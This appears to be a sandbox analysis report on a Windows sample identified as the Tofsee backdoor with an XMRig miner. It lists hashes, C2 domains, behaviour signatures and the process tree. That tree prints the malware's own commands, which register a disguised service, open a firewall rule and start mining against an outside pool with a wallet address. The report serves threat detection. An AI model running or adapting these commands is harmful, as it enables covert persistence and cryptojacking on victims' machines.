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Analysis

  • max time kernel
    146s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19/12/2022, 22:54

General

  • Target

    file.exe

  • Size

    304KB

  • MD5

    8990b4f21245d78cd1fcdbaf6f0561e1

  • SHA1

    de8c27206b12e2b165893cf83a73df2ec4c47b53

  • SHA256

    ad70e9386cbcff9534f6c3f2fc921f1f468f13e40c9b489cec17de81f0401de9

  • SHA512

    9034b6c1fa99482a37dbe915948f05ee431c8b07ffc20956d456fac70cc32fe2e8a39ae725e10d5653000a16da40a0d40dc948de9d19418993acd6c05d1a207a

  • SSDEEP

    3072:A7z8tLu+YG25MX5w/ip0cZxezBUZVMo7DVEmRkwxOP2d+77h+y65/1E3ZJyyjXgJ:CeLGBM+K4upEm2wdwJ63QZImQKG0

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:2052
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\krsrevpd\
      2⤵
        PID:4500
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\urlmjrho.exe" C:\Windows\SysWOW64\krsrevpd\
        2⤵
          PID:868
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create krsrevpd binPath= "C:\Windows\SysWOW64\krsrevpd\urlmjrho.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1656
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description krsrevpd "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4580
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start krsrevpd
          2⤵
          • Launches sc.exe
          PID:4660
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4220
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2052 -s 1040
          2⤵
          • Program crash
          PID:4608
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 2052 -ip 2052
        1⤵
          PID:4152
        • C:\Windows\SysWOW64\krsrevpd\urlmjrho.exe
          C:\Windows\SysWOW64\krsrevpd\urlmjrho.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
          1⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious use of WriteProcessMemory
          PID:2000
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe
            2⤵
            • Sets service image path in registry
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Modifies data under HKEY_USERS
            • Suspicious use of WriteProcessMemory
            PID:3272
            • C:\Windows\SysWOW64\svchost.exe
              svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
              3⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:4644
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 2000 -s 524
            2⤵
            • Program crash
            PID:4404
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 2000 -ip 2000
          1⤵
            PID:3292

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Local\Temp\urlmjrho.exe

            Filesize

            10.8MB

            MD5

            b4563a2d8532aee6159f8bf134e6f271

            SHA1

            408c945edbf1abce536ddb9640a622926e4d1a29

            SHA256

            1ee7ce29cfc8ab22bf1da533264de34eecad5ca97c3ec9e3075a05cccec2dc39

            SHA512

            298940917c0b0d82776df3c21d204774f97b9fe52c9337d9001ca1828eb06c9ae7807d835b0c0f1b8b0ff599bb64061f6f6c1f9333787b391fee9a5dc84816d4

          • C:\Windows\SysWOW64\krsrevpd\urlmjrho.exe

            Filesize

            10.8MB

            MD5

            b4563a2d8532aee6159f8bf134e6f271

            SHA1

            408c945edbf1abce536ddb9640a622926e4d1a29

            SHA256

            1ee7ce29cfc8ab22bf1da533264de34eecad5ca97c3ec9e3075a05cccec2dc39

            SHA512

            298940917c0b0d82776df3c21d204774f97b9fe52c9337d9001ca1828eb06c9ae7807d835b0c0f1b8b0ff599bb64061f6f6c1f9333787b391fee9a5dc84816d4

          • memory/2000-150-0x0000000000400000-0x0000000000452000-memory.dmp

            Filesize

            328KB

          • memory/2000-149-0x0000000000575000-0x000000000058A000-memory.dmp

            Filesize

            84KB

          • memory/2052-143-0x00000000004D9000-0x00000000004EF000-memory.dmp

            Filesize

            88KB

          • memory/2052-133-0x00000000004A0000-0x00000000004B3000-memory.dmp

            Filesize

            76KB

          • memory/2052-134-0x0000000000400000-0x0000000000452000-memory.dmp

            Filesize

            328KB

          • memory/2052-132-0x00000000004D9000-0x00000000004EF000-memory.dmp

            Filesize

            88KB

          • memory/2052-144-0x0000000000400000-0x0000000000452000-memory.dmp

            Filesize

            328KB

          • memory/3272-159-0x00000000025F0000-0x0000000002600000-memory.dmp

            Filesize

            64KB

          • memory/3272-168-0x00000000033E0000-0x00000000033E7000-memory.dmp

            Filesize

            28KB

          • memory/3272-146-0x0000000001270000-0x0000000001285000-memory.dmp

            Filesize

            84KB

          • memory/3272-165-0x0000000007E00000-0x000000000820B000-memory.dmp

            Filesize

            4.0MB

          • memory/3272-162-0x00000000033D0000-0x00000000033D5000-memory.dmp

            Filesize

            20KB

          • memory/3272-151-0x0000000001270000-0x0000000001285000-memory.dmp

            Filesize

            84KB

          • memory/3272-152-0x0000000001270000-0x0000000001285000-memory.dmp

            Filesize

            84KB

          • memory/3272-153-0x0000000002E00000-0x000000000300F000-memory.dmp

            Filesize

            2.1MB

          • memory/3272-156-0x00000000025E0000-0x00000000025E6000-memory.dmp

            Filesize

            24KB

          • memory/4644-172-0x0000000000C00000-0x0000000000CF1000-memory.dmp

            Filesize

            964KB

          • memory/4644-177-0x0000000000C00000-0x0000000000CF1000-memory.dmp

            Filesize

            964KB